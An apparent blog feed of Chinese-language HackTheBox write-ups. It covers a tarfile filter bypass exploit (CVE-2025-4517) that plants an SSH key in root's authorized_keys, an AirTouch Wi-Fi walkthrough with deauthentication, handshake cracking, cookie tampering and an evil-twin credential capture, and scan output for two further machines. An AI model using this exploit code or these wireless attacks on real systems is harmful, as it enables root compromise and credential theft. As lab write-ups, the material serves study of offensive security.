&lt;p&gt;&lt;img src=&quot;https://picui.ogmua.cn/s1/2026/04/01/69cd2acccd4ec.webp&quot; alt=&quot;image-20260219142315326&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们可以以 root 用户身份运行 Python 脚本，无需密码。该脚本会读取并解压缩一个 TAR 文件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse

BACKUP_BASE_DIR = &quot;/opt/backup_clients/backups&quot;
STAGING_BASE = &quot;/opt/backup_clients/restored_backups&quot;

def validate_backup_name(filename):
    if not re.fullmatch(r&quot;^backup_\d+\.tar$&quot;, filename):
        return False
    client_id = filename.split(&apos;_&apos;)[1].rstrip(&apos;.tar&apos;)
    return client_id.isdigit() and client_id != &quot;0&quot;

def validate_restore_tag(tag):
    return bool(re.fullmatch(r&quot;^[a-zA-Z0-9_]{1,24}$&quot;, tag))

def main():
    parser = argparse.ArgumentParser(
        description=&quot;Restore client configuration from a validated backup tarball.&quot;,
        epilog=&quot;Example: sudo %(prog)s -b backup_1001.tar -r restore_john&quot;
    )
    parser.add_argument(
        &quot;-b&quot;, &quot;--backup&quot;,
        required=True,
        help=&quot;Backup filename (must be in /home/wacky/backup_clients/ and match backup_&amp;lt;client_id&amp;gt;.tar, &quot;
             &quot;where &amp;lt;client_id&amp;gt; is a positive integer, e.g., backup_1001.tar)&quot;
    )
    parser.add_argument(
        &quot;-r&quot;, &quot;--restore-dir&quot;,
        required=True,
        help=&quot;Staging directory name for the restore operation. &quot;
             &quot;Must follow the format: restore_&amp;lt;client_user&amp;gt; (e.g., restore_john). &quot;
             &quot;Only alphanumeric characters and underscores are allowed in the &amp;lt;client_user&amp;gt; part (1–24 characters).&quot;
    )

    args = parser.parse_args()

    if not validate_backup_name(args.backup):
        print(&quot;[!] Invalid backup name. Expected format: backup_&amp;lt;client_id&amp;gt;.tar (e.g., backup_1001.tar)&quot;, file=sys.stderr)
        sys.exit(1)

    backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
    if not os.path.isfile(backup_path):
        print(f&quot;[!] Backup file not found: {backup_path}&quot;, file=sys.stderr)
        sys.exit(1)

    if not args.restore_dir.startswith(&quot;restore_&quot;):
        print(&quot;[!] --restore-dir must start with &apos;restore_&apos;&quot;, file=sys.stderr)
        sys.exit(1)

    tag = args.restore_dir[8:]
    if not tag:
        print(&quot;[!] --restore-dir must include a non-empty tag after &apos;restore_&apos;&quot;, file=sys.stderr)
        sys.exit(1)

    if not validate_restore_tag(tag):
        print(&quot;[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores&quot;, file=sys.stderr)
        sys.exit(1)

    staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
    print(f&quot;[+] Backup: {args.backup}&quot;)
    print(f&quot;[+] Staging directory: {staging_dir}&quot;)

    os.makedirs(staging_dir, exist_ok=True)

    try:
        with tarfile.open(backup_path, &quot;r&quot;) as tar:
            tar.extractall(path=staging_dir, filter=&quot;data&quot;)
        print(f&quot;[+] Extraction completed in {staging_dir}&quot;)
    except (tarfile.TarError, OSError, Exception) as e:
        print(f&quot;[!] Error during extraction: {e}&quot;, file=sys.stderr)
        sys.exit(2)

if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这个脚本中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tar.extractall(path=staging_dir, filter=&quot;data&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Python 3.12 引入了 filter=&quot;data&quot;&lt;code&gt;作为一项安全特性。它可以防止“ZipSlip”攻击（即通过 zip 文件插入&lt;/code&gt;../../evil.txt&lt;code&gt;来覆盖系统文件）。它会检查目标路径是否安全。 我们尝试 CVE-2025-4517：&lt;/code&gt;PATH_MAX&lt;code&gt;溢出漏洞 此特定版本的 Python (3.12.3) 在&lt;/code&gt;filter=&quot;data&quot;&lt;code&gt;逻辑中存在错误。 Linux 有一个最大路径长度 (&lt;/code&gt;PATH_MAX&lt;code&gt;)，通常为 4096 字节。Python 的安全过滤器会尝试解析 TAR 文件中文件的*绝对路径* ，以确定其最终位置。它使用&lt;/code&gt;os.path.realpath()&lt;code&gt;。如果我们在 TAR 中创建*长度*超过 4096 字节的路径（使用深层目录和符号链接），&lt;/code&gt;os.path.realpath()&lt;code&gt;会静默失败或返回截断/混乱的结果。由于检查出现错误，它未能意识到我们的文件实际上指向&lt;/code&gt;../../../../root/.ssh/authorized_keys&lt;code&gt; 。它假定文件是安全的，并允许提取。&lt;/code&gt;
知道原理我们编写了一个 Python 脚本（ &lt;code&gt;payload.py&lt;/code&gt; ）来创建这个“不可能的”TAR 文件。我们创建一个循环，创建目录 &lt;code&gt;d/d/d/d...&lt;/code&gt; 直到路径长度达到约 4000 个字符。我们在这个坑的底部添加一个指向顶部的符号链接（ &lt;code&gt;../../..&lt;/code&gt; ）。这会创建一个“循环”，使路径解析器感到困惑。我们创建一个名为 &lt;code&gt;escape&lt;/code&gt; 文件，该文件链接到 &lt;code&gt;/root/.ssh/authorized_keys&lt;/code&gt; 。我们将 SSH 公钥写入此 &lt;code&gt;escape&lt;/code&gt; 文件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import tarfile
import os
import io

# 1. Setup - Use a long directory name to eat up buffer space
long_dir = &apos;d&apos; * 247
# 16 levels of nesting
steps = &quot;abcdefghijklmnop&quot;
path = &quot;&quot;

with tarfile.open(&quot;backup_1001.tar&quot;, mode=&quot;w&quot;) as tar:
    # 2. Build the deep directory structure
    for i in steps:
        # Create directory
        d = tarfile.TarInfo(os.path.join(path, long_dir))
        d.type = tarfile.DIRTYPE
        tar.addfile(d)
        
        # Create symlink pointing into it
        s = tarfile.TarInfo(os.path.join(path, i))
        s.type = tarfile.SYMTYPE
        s.linkname = long_dir
        tar.addfile(s)
        
        # Update path for next iteration
        path = os.path.join(path, long_dir)

    # 3. Create the &quot;Overflow&quot; Symlink
    # This path length triggers the CVE-2025-4517 bypass in filter=&quot;data&quot;
    linkpath = os.path.join(&quot;/&quot;.join(steps), &quot;l&quot;*254)
    l = tarfile.TarInfo(linkpath)
    l.type = tarfile.SYMTYPE
    l.linkname = &quot;../&quot; * len(steps) # Points back to root of extraction
    tar.addfile(l)

    # 4. Create the Escape Link
    # This symlink utilizes the overflow to traverse to /root/.ssh/
    escape = tarfile.TarInfo(&quot;escape&quot;)
    escape.type = tarfile.SYMTYPE
    # Adjust traversal depth as needed, 5 is usually safe for /opt/...
    escape.linkname = linkpath + &quot;/../../../../../root/.ssh/authorized_keys&quot;
    tar.addfile(escape)

    # 5. Write the malicious authorized_keys
    # Create a hardlink to the escape file to write data to it
    exploit_file = tarfile.TarInfo(&quot;pwn_keys&quot;)
    exploit_file.type = tarfile.LNKTYPE
    exploit_file.linkname = &quot;escape&quot;
    tar.addfile(exploit_file)

    # The content of your public key
    # REPLACE WITH YOUR ACTUAL ID_RSA.PUB
    ssh_key = b&quot;ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJozyLPe3vouMrGe3nWvlX2BahRQ7YfPcrLgg8fKyYJo kali@kali\n&quot;
    
    key_entry = tarfile.TarInfo(&quot;pwn_keys&quot;)
    key_entry.type = tarfile.REGTYPE
    key_entry.size = len(ssh_key)
    tar.addfile(key_entry, fileobj=io.BytesIO(ssh_key))

print(&quot;[+] backup_1001.tar created.&quot;)

&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;生成密钥：&lt;/strong&gt; 在攻击者的机器上： &lt;code&gt;ssh-keygen -f root_key&lt;/code&gt; .&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;创建 TAR 文件：&lt;/strong&gt; 使用您的新公钥更新 Python 脚本并运行它。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;传输：&lt;/strong&gt; 将 &lt;code&gt;backup_1001.tar&lt;/code&gt; 上传到受害者。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_1001.tar -r restore_pwn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们使用 &lt;code&gt;restore_pwn&lt;/code&gt; 因为该脚本强制目录名称以 &lt;code&gt;restore_&lt;/code&gt; 开头。
脚本以 root 用户身份运行。它尝试验证我们的 TAR 文件。路径长度超过了验证器的限制。Python 显示“看起来不错”。脚本将我们的 SSH 密钥直接提取到 &lt;code&gt;/root/.ssh/authorized_keys&lt;/code&gt; 中。
现在我们的钥匙已经在授权名单里了，我们直接进去就行了。&lt;/p&gt;
</content:encoded></item><item><title>Htb-AirTouch</title><link>https://sinqwq.top/posts/htb-airtouch/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-airtouch/</guid><description>Htb-AirTouch</description><pubDate>Fri, 18 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;端口扫描，探测暴露在公网的服务。对于 Medium 难度的靶机，除了常规的 TCP 扫描，&lt;strong&gt;千万不能漏掉 UDP&lt;/strong&gt;，因为很多古老的网管协议都在 UDP 上。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# TCP 扫描
nmap -A -Pn -sC 10.129.244.98
# UDP 扫描 (提速并扫描前 100 个常见端口)
sudo nmap -sU --top-ports 100 10.129.244.98
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现 TCP &lt;code&gt;22&lt;/code&gt; (SSH) 和 UDP &lt;code&gt;161&lt;/code&gt; (SNMP) 开放。
SNMP 枚举,&lt;strong&gt;【目标】&lt;/strong&gt; SNMP 常用于设备监控。如果管理员偷懒使用了默认团体名 (Community String) &lt;code&gt;public&lt;/code&gt;，我们就能像查户口一样拉出这台机器的所有信息。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;snmp-check 10.129.244.98 -c public -v 2c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;仔细翻阅长长的输出，我们在某一条系统描述里发现了硬编码的管理员留言： &lt;code&gt;&quot;The default consultant password is: RxBlZhLmOkacNWScmZ6D (change it after use it)&quot;&lt;/code&gt;
SSH 登录与初始提权,&lt;strong&gt;【目标】&lt;/strong&gt; 登录这台“跳板机”并接管最高权限，以便后续操控底层的无线网卡。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh consultant@10.129.244.98
# 输入密码: RxBlZhLmOkacNWScmZ6D
sudo -l  # 检查当前用户有哪些特权命令
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现 &lt;code&gt;(ALL) NOPASSWD: ALL&lt;/code&gt;。这说明 consultant 用户可以用 sudo 执行任何命令且不需要密码！直接提权：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo su -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;此时，我们完全控制了 Consultant 机器 (第一台跳板机)。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;攻破访客 WiFi (WPA2-PSK),这台机器的神奇之处在于，它用 &lt;code&gt;mac80211_hwsim&lt;/code&gt; 模块给你虚拟了 7 块无线网卡 (&lt;code&gt;wlan0&lt;/code&gt; - &lt;code&gt;wlan6&lt;/code&gt;)。我们需要用它们“无线”黑进内网。
锁定目标 WiFi&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 将闲置的 wlan0 设置为监听模式 (像收音机一样接收空气中的电波)
airmon-ng start wlan0

# 扫描周围的 WiFi 信号
airodump-ng wlan0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;【排坑指南】&lt;/strong&gt; 在常规 Linux 里，&lt;code&gt;airmon-ng&lt;/code&gt; 会生成一个叫 &lt;code&gt;wlan0mon&lt;/code&gt; 的新接口。但因为这里是&lt;strong&gt;软件模拟网卡&lt;/strong&gt;，它直接在原接口上开启了监听，所以后续命令依然用 &lt;code&gt;wlan0&lt;/code&gt;！发现目标网络：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SSID:&lt;/strong&gt; &lt;code&gt;AirTouch-Internet&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BSSID (MAC):&lt;/strong&gt; &lt;code&gt;F0:9F:C2:A3:F1:A7&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;信道 (Channel):&lt;/strong&gt; 6&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;捕获握手包与密码破解,WPA2-PSK 的密码藏在设备连接瞬间的“四次握手”中。我们需要录制它，并强行把合法用户踢下线逼他重连。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;窗口 1 - 开启录像机
# 只监听频道 6，并将抓到的包保存为 /tmp/handshake
airodump-ng -c 6 --bssid F0:9F:C2:A3:F1:A7 -w /tmp/handshake wlan0
窗口 2 - 发射断网弹
# -0 10 表示发送 10 个解除认证包，把连接在这个基站上的所有设备踢下线
aireplay-ng -0 10 -a F0:9F:C2:A3:F1:A7 wlan0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;窗口 1 右上角出现 &lt;code&gt;WPA handshake: F0...&lt;/code&gt;，按 &lt;code&gt;Ctrl+C&lt;/code&gt; 停止抓包。生成了 &lt;code&gt;/tmp/handshake-01.cap&lt;/code&gt;.
文件传回 Kali 并暴力破解,把抓到的 &lt;code&gt;.cap&lt;/code&gt; 文件传回我们算力更强的本地机器进行离线爆破。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 使用 scp 下载文件 (注意在 Kali 本机执行，不要在 SSH 里执行)
scp consultant@10.129.244.98:/tmp/handshake-01.cap ./

# 使用 rockyou 字典破解
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b F0:9F:C2:A3:F1:A7 handshake-01.cap
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功破解出访客 WiFi 密码：&lt;strong&gt;&lt;code&gt;challenge&lt;/code&gt;&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;连入内网 (获取 192 网段 IP)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 将网卡恢复为普通模式
ip link set wlan0 down
iw dev wlan0 set type managed
ip link set wlan0 up

# 生成配置文件并连接
wpa_passphrase &quot;AirTouch-Internet&quot; &quot;challenge&quot; &amp;gt; /tmp/internet.conf
wpa_supplicant -B -i wlan0 -c /tmp/internet.conf

# 向路由器要 IP
dhclient wlan0
ip a show wlan0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们成功获得了 &lt;code&gt;192.168.3.61&lt;/code&gt;，正式踏入了第一层内网！
扫描发现网关 &lt;code&gt;192.168.3.1&lt;/code&gt; 运行着 HTTP 网页后台。既然我们知道了 WiFi 密码，我们可以直接在空气中“偷听”管理员的上网记录！
抓取管理员的明文 HTTP 流量,用另一块空闲网卡 &lt;code&gt;wlan1&lt;/code&gt; 抓取包含有效 HTTP 请求的会话包。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 开启 wlan1 抓包
airodump-ng -c 6 --bssid F0:9F:C2:A3:F1:A7 -w /tmp/full_capture wlan1

# 开新窗口再次发射断网弹，逼迫管理员重新登录网页
aireplay-ng -0 10 -a F0:9F:C2:A3:F1:A7 wlan1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(注意：抓到握手包后，不要立刻停止，等 1~2 分钟让管理员发起网页请求后，再按 &lt;code&gt;Ctrl+C&lt;/code&gt;。)
Wireshark 解密与窃取 Cookie&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 将 full_capture-01.cap 传回 Kali
scp consultant@10.129.244.98:/tmp/full_capture-01.cap ./
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;用 Wireshark 打开 &lt;code&gt;.cap&lt;/code&gt; 文件。&lt;/li&gt;
&lt;li&gt;点击 &lt;code&gt;Edit -&amp;gt; Preferences -&amp;gt; Protocols -&amp;gt; IEEE 802.11&lt;/code&gt;，勾选 &lt;code&gt;Enable decryption&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;点击 &lt;code&gt;Edit&lt;/code&gt; 密钥，添加类型为 &lt;code&gt;wpa-pwd&lt;/code&gt;，值为 &lt;code&gt;challenge:AirTouch-Internet&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;过滤栏输入 &lt;code&gt;http&lt;/code&gt;。 &lt;strong&gt;【结果】&lt;/strong&gt; 我们在明文流量中找到了关键 Cookie：&lt;code&gt;PHPSESSID=re7bt9end38f5g8jck25pjrih4; UserRole=user&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;ssh -L 8080:192.168.3.1:80 consultant@10.129.244.98
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过 SSH 本地端口转发 (&lt;code&gt;ssh -L 8080:192.168.3.1:80...&lt;/code&gt;) 将网页映射到本地。拦截请求，将 &lt;code&gt;UserRole=user&lt;/code&gt; 篡改为 &lt;code&gt;admin&lt;/code&gt;，解锁隐藏的 Upload 功能。&lt;/p&gt;
&lt;p&gt;越权拿 Shell 与横向移动,按照官方思路，这里应该通过 SSH 端口转发，修改 Cookie 为 &lt;code&gt;UserRole=admin&lt;/code&gt;，然后上传 &lt;code&gt;.phtml&lt;/code&gt; 拿 Shell。 在审查目标网页 &lt;code&gt;login.html&lt;/code&gt; 的源码时，发现开发者注释掉了一行代码，泄露了后台管理员的明文密码 &lt;code&gt;JunDRDZKHDnpkpDDvay&lt;/code&gt;！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 直接使用泄露的密码横向 SSH 到网关机器！
ssh user@192.168.3.1
# 密码：JunDRDZKHDnpkpDDvay

sudo su - # 发现 sudo 权限配置错误，直接提权到 root
cat /root/user.txt # 🚩 拿下 User Flag！
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这台 &lt;code&gt;192.168.3.1&lt;/code&gt; 机器上，我们发现了两样通关核心道具：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;/root/send_certs.sh&lt;/code&gt; 脚本：包含了进入下一关域控的密码 &lt;strong&gt;&lt;code&gt;xGgWEwqUpfoOVsLeROeG&lt;/code&gt;&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/root/certs-backup/&lt;/code&gt; 文件夹：包含了企业 CA 证书，这是我们伪造企业 WiFi 的核武器。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;核心企业网 &lt;code&gt;AirTouch-Office&lt;/code&gt; 采用的是 WPA2-Enterprise (企业级认证)。我们需要架设一个伪造的基站，骗企业高管连入，从而窃取他们的密码哈希！
我们需要把刚才在 &lt;code&gt;192.168.3.1&lt;/code&gt; 找到的证书，传回带有 &lt;code&gt;eaphammer&lt;/code&gt; 工具的第一台机器 (Consultant)。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /root/certs-backup/
python3 -m http.server 8080 # 开启临时 HTTP 服务
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;cd /root/eaphammer/certs-backup
wget http://192.168.3.1:8080/ca.crt
wget http://192.168.3.1:8080/server.crt
wget http://192.168.3.1:8080/server.key

# 导入证书到 eaphammer 武器库
cd /root/eaphammer/
./eaphammer --cert-wizard import --server-cert certs-backup/server.crt --ca-cert certs-backup/ca.crt --private-key certs-backup/server.key
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;部署恶魔孪生基站,我们先用 &lt;code&gt;airodump-ng -c 44 wlan1&lt;/code&gt; 探测到真正的企业基站 MAC 是 &lt;code&gt;AC:8B:A9:F3:A1:13&lt;/code&gt;。为了骗过客户端，我们必须进行 1:1 像素级克隆！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;窗口 1
# 使用空闲的 wlan4 启动假基站 (-b 克隆 MAC，-c 锁定信道)
./eaphammer --creds -i wlan4 -e &quot;AirTouch-Office&quot; -b AC:8B:A9:F3:A1:13 -c 44 --auth wpa-eap
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;窗口 2
# 使用 wlan1 发射断网弹，把连在真基站上的员工踹下来！
ip link set wlan1 up
iw dev wlan1 set channel 44
aireplay-ng --deauth 20 -a AC:8B:A9:F3:A1:13 -c c8:8a:9a:6f:f9:d2 wlan1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;员工掉线后立刻连入了我们的假基站！&lt;code&gt;eaphammer&lt;/code&gt; 成功捕获 NetNTLMv1 / MSCHAPv2 哈希： &lt;code&gt;r4ulcl::::91d0e25a7ae87babdd55d75371ad9c6ea08c463d16710744:7083b4e785cafcee&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;r4ulcl::::91d0e25a7ae87babdd55d75371ad9c6ea08c463d16710744:7083b4e785cafcee&quot; &amp;gt; hash.txt
hashcat -m 5500 hash.txt /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密码是：&lt;strong&gt;&lt;code&gt;laboratory&lt;/code&gt;&lt;/strong&gt;
手里握着合法员工 &lt;code&gt;r4ulcl&lt;/code&gt; 的密码，我们终于可以堂堂正正连入核心内网了,&lt;/p&gt;
&lt;p&gt;连入企业核心网络&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 编写配置文件
cat &amp;gt; /tmp/office.conf &amp;lt;&amp;lt;EOF
ctrl_interface=/var/run/wpa_supplicant
ap_scan=1
network={
  ssid=&quot;AirTouch-Office&quot;
  scan_ssid=1
  key_mgmt=WPA-EAP
  eap=PEAP
  identity=&quot;AirTouch\\r4ulcl&quot;
  password=&quot;laboratory&quot;
  phase1=&quot;peapver=0&quot;
  phase2=&quot;auth=MSCHAPV2&quot;
}
EOF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;实战中我们曾遇到 &lt;code&gt;EAP-TLV: TLV Result - Failure&lt;/code&gt;。原因是企业网络校验了域名！必须将 identity 写成 &lt;code&gt;AirTouch\\r4ulcl&lt;/code&gt; 才能通过认证。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 后台连接 WiFi (-B)
wpa_supplicant -B -i wlan2 -c /tmp/office.conf

# 强制获取 IP (无视 systemd 的红字报错)
dhclient -v wlan2
ip a show wlan2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功斩获 &lt;code&gt;10.10.10.86&lt;/code&gt;，正式踏入禁区！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh remote@10.10.10.1
# 密码：xGgWEwqUpfoOVsLeROeG
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们目前只是低权限用户。但根据最后一块拼图，由于系统配置疏漏，运行在域控上的 &lt;code&gt;hostapd&lt;/code&gt; 把所有管理员密码明文写在了文件里！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 偷窥密码
cat /etc/hostapd/hostapd_wpe.eap_user
# 发现 admin 的明文密码！

# 瞬间提权
su admin
sudo -i

# 拿下最终 Flag！
cat /root/root.txt
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Htb-Browsed</title><link>https://sinqwq.top/posts/htb-browsed/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-browsed/</guid><description>Htb-Browsed</description><pubDate>Thu, 17 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/fscan]
└─$ ./fscan -h 10.10.8.1

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| &apos;__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   &amp;lt;
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
10.10.8.1:80 open
10.10.8.1:22 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.10.8.1          code:200 len:6708   title:Browsed
已完成 1/2 [-] ssh 10.10.8.1:22 root pass123 ssh: handshake failed: read tcp 10.10.17.84:43048-&amp;gt;10.10.8.1:22: read: connection reset by peer
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Htb-Mirage</title><link>https://sinqwq.top/posts/htb-mirage/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-mirage/</guid><description>Htb-Mirage</description><pubDate>Wed, 16 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/fscan]
└─$ ./fscan -h 10.10.11.78

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| &apos;__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   &amp;lt;    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
10.10.11.78:135 open
10.10.11.78:445 open
10.10.11.78:139 open
10.10.11.78:88 open
[*] alive ports len is: 4
start vulscan
[*] NetInfo 
[*]10.10.11.78
   [-&amp;gt;]dc01
   [-&amp;gt;]10.10.11.78
   [-&amp;gt;]dead:beef::a86:b2e1:33c2:b93b
已完成 4/4
[*] 扫描结束,耗时: 5.734434451s

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ sudo nmap -sT --min-rate 10000 -p- 10.10.11.78 -oA nmapsacn/ports
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-22 17:16 UTC
Nmap scan report for 10.10.11.78
Host is up (0.0093s latency).
Not shown: 65506 filtered tcp ports (no-response)
PORT      STATE  SERVICE
21/tcp    closed ftp
22/tcp    closed ssh
23/tcp    closed telnet
25/tcp    closed smtp
53/tcp    open   domain
80/tcp    closed http
110/tcp   closed pop3
111/tcp   open   rpcbind
113/tcp   closed ident
135/tcp   open   msrpc
139/tcp   open   netbios-ssn
143/tcp   closed imap
199/tcp   closed smux
256/tcp   closed fw1-secureremote
443/tcp   closed https
445/tcp   open   microsoft-ds
554/tcp   closed rtsp
587/tcp   closed submission
993/tcp   closed imaps
995/tcp   closed pop3s
1025/tcp  closed NFS-or-IIS
1720/tcp  closed h323q931
1723/tcp  closed pptp
3306/tcp  closed mysql
3389/tcp  closed ms-wbt-server
5900/tcp  closed vnc
8080/tcp  closed http-proxy
8888/tcp  closed sun-answerbook
60363/tcp closed unknown


&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ sudo nmap -sT -sV -sC -O -p53,111,135,139,445  10.10.11.78 -oA nmapsacn/detail -Pn
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-22 17:23 UTC
Nmap scan report for 10.10.11.78
Host is up (0.00028s latency).

PORT    STATE    SERVICE      VERSION
53/tcp  open     domain       (generic dns response: SERVFAIL)
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
111/tcp filtered rpcbind
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.95%I=7%D=7/22%Time=687FC939%P=aarch64-unknown-linux-gnu%
SF:r(DNSVersionBindReqTCP,20,&quot;\0\x1e\0\x06\x81\x02\0\x01\0\0\0\0\0\0\x07ve
SF:rsion\x04bind\0\0\x10\0\x03&quot;);
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.13 seconds

&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ sudo nmap -sU 10.10.11.78 -oA nmapsacn/UDP
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-22 17:16 UTC
Warning: 10.10.11.78 giving up on port because retransmission cap hit (10).
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Nmap scan report for 10.10.11.78
Host is up (0.37s latency).
Not shown: 942 closed udp ports (port-unreach), 52 open|filtered udp ports (no-response)
PORT     STATE SERVICE
53/udp   open  domain
88/udp   open  kerberos-sec
111/udp  open  rpcbind
123/udp  open  ntp
389/udp  open  ldap
2049/udp open  nfs

Nmap done: 1 IP address (1 host up) scanned in 3528.26 seconds

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在枚举目标 10.10.11.78 的开放端口时，我们发现端口 2049/tcp 是开放的，这通常用于 NFS（网络文件系统）。这表明我们可能能够远程访问共享目录。&lt;/p&gt;
&lt;p&gt;NFS 经常会被错误配置以允许未经身份验证的访问。因此，下一步合乎逻辑的是使用 showmount 检查导出的文件共享&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;showmount -e 10.10.11.78

┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ showmount -e 10.10.11.78
Export list for 10.10.11.78:
/MirageReports (everyone)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这证实了 /MirageReports 是一个所有人都可以访问的 NFS 共享——很可能世界可读。这是一个潜在信息泄露的强烈指示。为了探索这个共享，我们在本地机器上挂载了它。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir /tmp/mirage  
sudo mount -t nfs 10.10.11.78:/MirageReports /tmp/mirage
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;挂载后，我们进入该目录检查其内容。&lt;/p&gt;
